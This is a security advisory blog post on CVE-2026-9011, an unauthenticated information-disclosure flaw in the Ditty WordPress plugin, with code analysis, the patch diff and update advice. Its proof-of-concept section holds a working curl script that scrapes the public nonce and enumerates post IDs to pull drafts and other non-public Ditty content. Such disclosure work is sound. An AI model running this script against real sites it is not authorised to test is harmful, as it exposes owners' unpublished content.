Ditty – Responsive News Tickers, Sliders, and Lists WordPress plugin banner

CVE-2026-9011: Ditty Plugin Exposes Non-Public Content to Anyone (CVSS 7.5)

Updated 7 min read

CVE-2026-9011 is a CVSS 7.5 (High) Missing Authorization vulnerability in the Ditty – Responsive News Tickers, Sliders, and Lists WordPress plugin. Any unauthenticated visitor can read the full content of non-public Dittys — including drafts, scheduled announcements, and disabled entries — by sending a crafted AJAX request with an integer post ID.

Vulnerability Summary

FieldValue
Plugin NameDitty – Responsive News Tickers, Sliders, and Lists
Plugin Slugditty-news-ticker
CVE IDCVE-2026-9011
CVSS Score7.5 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Vulnerability TypeMissing Authorization to Unauthenticated Sensitive Information Disclosure
Affected Versions<= 3.1.65
Patched Version3.1.66
PublishedMay 21, 2026
ResearcherMd. Moniruzzaman Prodhan (NomanProdhan) - Knight Squad
Wordfence AdvisoryLink

Description

The Ditty plugin registers a front-end AJAX action called ditty_init. This action loads and returns the full content of a Ditty (a news ticker or list) when given a post ID.

The plugin also has a non-AJAX version of the same logic. That non-AJAX path checks whether the requested Ditty has a publish post status before returning anything. The AJAX path does not.

Because of this missing check, any unauthenticated attacker can call the AJAX endpoint and retrieve items from Dittys in any status — draft, pending, scheduled, or disabled. The attacker only needs a valid nonce, which the plugin embeds in the HTML of every page that shows a Ditty widget.

Technical Analysis

Hook Registration

The vulnerability starts in includes/class-ditty-singles.php, in the class constructor:

// Line 32
add_action( 'wp_ajax_ditty_init', array( $this, 'init_ajax' ) );
// Line 33
add_action( 'wp_ajax_nopriv_ditty_init', array( $this, 'init_ajax' ) );

The nopriv suffix on line 33 tells WordPress to call init_ajax() for visitors who are not logged in. This is correct for a widget that needs to load published content on the front end. The problem is that init_ajax() does not restrict its response to published content.

Nonce Exposed to All Visitors

The plugin’s script loader (includes/class-ditty-scripts.php) hooks into wp_enqueue_scripts, which runs on every front-end page load. It generates a nonce and embeds it in the page HTML:

// Line 461–463
wp_add_inline_script( 'ditty', 'const dittyVars = ' . json_encode( apply_filters( 'dittyVars', array(
    'ajaxurl'  => admin_url( 'admin-ajax.php' ),
    'security' => wp_create_nonce( 'ditty' ),   // <-- embedded for all visitors

This outputs a JavaScript block like the following on every page that has a Ditty widget:

const dittyVars = {"ajaxurl":"\/wp-admin\/admin-ajax.php","security":"abc123def456",...};

Any unauthenticated visitor can load the page, read the source, and extract the security value. The nonce is valid for 24 hours.

The Vulnerable init_ajax() Function

The AJAX handler at line 220 of class-ditty-singles.php:

public function init_ajax() {
    check_ajax_referer( 'ditty', 'security' );   // Line 221 — nonce check only, NOT auth

    $id_ajax = isset( $_POST['id'] ) ? intval( $_POST['id'] ) : false;   // Line 222
    // ... other params ...

    // Line 257 — reads status but never acts on it
    $status = get_post_status( $id_ajax );

    // Line 266 — loads ALL items for any Ditty, regardless of status
    $items = $this->get_display_items( $id_ajax, 'cache', $custom_layout_settings_ajax );

    $args['status'] = $status;   // status included in response but not checked
    $args['items']  = $items;    // full content returned unconditionally

    wp_send_json( $data );       // Line 279 — response sent
}

The key problem: $status is read on line 257 and included in the response, but there is no if statement that stops execution when the status is not publish.

Comparison with the Non-AJAX Path

The non-AJAX init() method in the same file (line 288) has the correct check:

public function init( $atts ) {
    $ditty_id = $atts['data-id'];

    // Line 300–302 — this check is MISSING from init_ajax()
    if ( 'publish' != get_post_status( $ditty_id ) ) {
        return false;
    }
    // ...
}

The non-AJAX path blocks execution for non-published Dittys. The AJAX path does not. This inconsistency is the root cause.

Why the Nonce Does Not Provide Protection

A WordPress nonce is a CSRF token. It proves that a request originated from a specific browser session, not that the user is authenticated. For logged-out users, WordPress generates valid nonces tied to the visitor’s session for up to 24 hours.

In this case:

  • The nonce is embedded in the HTML of public pages.
  • Any visitor — logged in or not — can read it.
  • There is no is_user_logged_in() or current_user_can() check in init_ajax().

Because the nonce is publicly available, passing check_ajax_referer() here provides no real access control.

Proof of Concept

Disclaimer: This PoC is for authorized security testing and educational purposes only. Do not test against sites you do not own or have explicit permission to test.

Prerequisites:

  • Ditty plugin version <= 3.1.65 installed and active
  • At least one Ditty widget on a publicly accessible page
  • One or more non-public Dittys exist (draft, pending, scheduled, or disabled)

Step 1 — Extract the nonce from the front-end page:

TARGET="http://example.com"

NONCE=$(curl -s "$TARGET/" \
  | grep -o '"security":"[^"]*"' \
  | head -1 \
  | cut -d'"' -f4)

echo "Nonce: $NONCE"

Step 2 — Enumerate Ditty post IDs and read non-public content:

for ID in $(seq 1 200); do
  RESPONSE=$(curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
    --data-urlencode "action=ditty_init" \
    --data-urlencode "id=$ID" \
    --data-urlencode "security=$NONCE")

  # Check if the response contains Ditty data
  if echo "$RESPONSE" | grep -q '"items"'; then
    STATUS=$(echo "$RESPONSE" | python3 -c \
      "import sys,json; d=json.load(sys.stdin); print(d.get('args',{}).get('status',''))" 2>/dev/null)
    TITLE=$(echo "$RESPONSE" | python3 -c \
      "import sys,json; d=json.load(sys.stdin); print(d.get('args',{}).get('title',''))" 2>/dev/null)

    echo "ID $ID | status=$STATUS | title=$TITLE"

    if [ "$STATUS" != "publish" ] && [ -n "$STATUS" ]; then
      echo "  --> Non-public Ditty disclosed!"
      echo "$RESPONSE" | python3 -m json.tool
    fi
  fi
done

Expected response for a draft Ditty (ID = 42):

{
  "display_type": "ticker",
  "args": {
    "id": 42,
    "title": "Confidential Q3 Announcement",
    "status": "draft",
    "items": [
      {
        "content": "We will be announcing layoffs next quarter..."
      }
    ]
  }
}

The response returns "status": "draft" alongside the full item content — content the administrator explicitly withheld from public view.

Patch Analysis

Version 3.1.66 adds three authorization checks at the beginning of init_ajax(), before any data is retrieved:

+  // Validate the requested Ditty exists and is the correct post type
+  if ( ! $id_ajax || 'ditty' !== get_post_type( $id_ajax ) ) {
+      wp_send_json_error();
+  }
+
+  // Only published Dittys are publicly accessible. Non-published Dittys
+  // may only be loaded by users with the capability to edit that specific Ditty.
+  if ( 'publish' !== get_post_status( $id_ajax ) && ! current_user_can( 'edit_post', $id_ajax ) ) {
+      wp_send_json_error();
+  }
+
+  // The editor flag should only be honored for users with the capability
+  // to edit Dittys to avoid exposing editor-only data publicly.
+  if ( $editor_ajax && ! current_user_can( 'edit_dittys' ) ) {
+      $editor_ajax = false;
+  }

The same status and capability checks are also added to live_updates_ajax(), which was vulnerable to the same class of issue.

The fix aligns the AJAX path with the non-AJAX init() method that already had the correct status check.

Timeline

DateEvent
May 19, 2026Patched version 3.1.66 released
May 21, 2026Wordfence advisory published
May 24, 2026This blog post published

Remediation

Update the Ditty plugin to version 3.1.66 or later.

Go to WordPress Admin → Plugins → Installed Plugins, find Ditty, and click Update Now. You can also download the latest version directly from wordpress.org/plugins/ditty-news-ticker.

If you cannot update immediately, consider disabling the plugin until you can. Any non-public Dittys may have had their content exposed to unauthenticated visitors prior to the update.

References

  1. Wordfence Advisory — CVE-2026-9011
  2. CVE Record — CVE-2026-9011
  3. Vulnerable code — class-ditty-singles.php#L220 (3.1.65)
  4. Vulnerable code — class-ditty-singles.php#L33 (3.1.65)
  5. Nonce exposure — class-ditty-scripts.php#L463 (3.1.65)
  6. Patch changeset
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee